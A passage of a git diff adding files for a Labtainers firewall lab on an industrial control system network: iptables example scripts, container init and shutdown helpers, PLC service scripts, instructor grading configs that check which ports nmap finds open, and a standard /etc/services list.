s!/var/log/ulog/syslogemu.log!/var/log/iptables.log! /etc/ulogd.conf +sudo systemctl restart ulogd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/etc/rc.local new file mode 100755 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/example_fw.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/example_fw.sh new file mode 100755 index 000000000..5a07d5fd2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/example_fw.sh @@ -0,0 +1,32 @@ +#!/bin/bash +# +# This example IPTABLES firewall will only allow SSH traffic +# to be forwarded from 172.24.0.2. +# NOTE: your IP addresses may vary +# +IPTABLES=/sbin/iptables + +#start and flush +$IPTABLES -F +$IPTABLES -t nat -F +$IPTABLES -X +# +# By default, do not allow any forwarding or accept any traffic +# destined for the firewall. +# +$IPTABLES -P FORWARD DROP +$IPTABLES -P INPUT DROP +$IPTABLES -P OUTPUT DROP + +# Allow forwarding of traffic associated with any established session +$IPTABLES -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT + +# Allow SSH traffic from 172.24.0.2 +$IPTABLES -A FORWARD -p tcp -s 172.24.0.2 --dport 22 -j ACCEPT + +# loopback device (internal traffic) +iptables -A INPUT -i lo -p all -j ACCEPT + +# log IPTABLES filtering actions +iptables -A FORWARD -j NFLOG -m limit --limit 2/min --nflog-prefix "IPTABLES DROPPED" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/open_fw.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/open_fw.sh new file mode 100755 index 000000000..6b80436b0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/open_fw.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# This example IPTABLES firewall will only allow all traffic. +# +IPTABLES=/sbin/iptables + +#start and flush +$IPTABLES -F +$IPTABLES -t nat -F +$IPTABLES -X +# +# By default, do not allow any forwarding or accept any traffic +# destined for the firewall. +# +$IPTABLES -P FORWARD ACCEPT +$IPTABLES -P INPUT ACCEPT +$IPTABLES -P OUTPUT ACCEPT + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/goals.config new file mode 100644 index 000000000..14e726d5e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see the Labtainer Lab Designer Guide +# +# results of nmap should show ssh & http, but not telnet +# +#DOC: Client1 can access the PLC via HTTP(8080), and SSH +client1_ok = boolean : _client1_8080_open and _client1_ssh_open and_not _client1_80_open and_not _client1_telnet_open and_not _client1_modbus_open +#DOC: Client2 can access the PLC via HTTP(80 or 8080), and MODBUS +client2_ok = boolean : _client2_80_open and _client2_8080_open and_not _client2_ssh_open and_not _client2_telnet_open and _client2_modbus_open diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/results.config new file mode 100644 index 000000000..b407d6387 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/instr_config/results.config @@ -0,0 +1,16 @@ +# results.config +# +# Please see the Labtainer Lab Designer Guide +# +# nmap results, note which ports are open +# +_client1_ssh_open = client1:prestop.stdout : FILE_REGEX : ^22/tcp[ ]*open +_client1_80_open = client1:prestop.stdout : FILE_REGEX : ^80/tcp[ ]*open +_client1_8080_open = client1:prestop.stdout : FILE_REGEX : ^8080/tcp[ ]*open +_client1_telnet_open = client1:prestop.stdout : FILE_REGEX : ^23/tcp[ ]*open +_client1_modbus_open = client1:prestop.stdout : FILE_REGEX : ^502/tcp[ ]*open +_client2_ssh_open = client2:prestop.stdout : FILE_REGEX : ^22/tcp[ ]*open +_client2_80_open = client2:prestop.stdout : FILE_REGEX : ^80/tcp[ ]*open +_client2_8080_open = client2:prestop.stdout : FILE_REGEX : ^8080/tcp[ ]*open +_client2_telnet_open = client2:prestop.stdout : FILE_REGEX : ^23/tcp[ ]*open +_client2_modbus_open = client2:prestop.stdout : FILE_REGEX : ^502/tcp[ ]*open diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..217008463 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable plc +sudo systemctl start plc +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh new file mode 100755 index 000000000..2d056c942 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh @@ -0,0 +1,65 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: proxy +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin/OpenPLC_v2x +DAEMON=/usr/bin/nodejs +DAEMON_NAME=plc + +# Log for nodejs +NODEJS_LOG=/var/log/nodejs.log + +# Add any command line options for your daemon here +DAEMON_OPTS="server.js" + +# This next line determines what user the script runs as. +#DAEMON_USER=ubuntu +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER --chuid $DAEMON_USER --chdir $DIR --startas $DAEMON --no-close -- $DAEMON_OPTS >> $NODEJS_LOG 2>&1 + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local new file mode 100755 index 000000000..5c8829bda --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to client +route add -net 172.24.0.0/24 gw 172.25.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/services new file mode 100644 index 000000000..704cd1200 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/services @@ -0,0 +1,612 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group 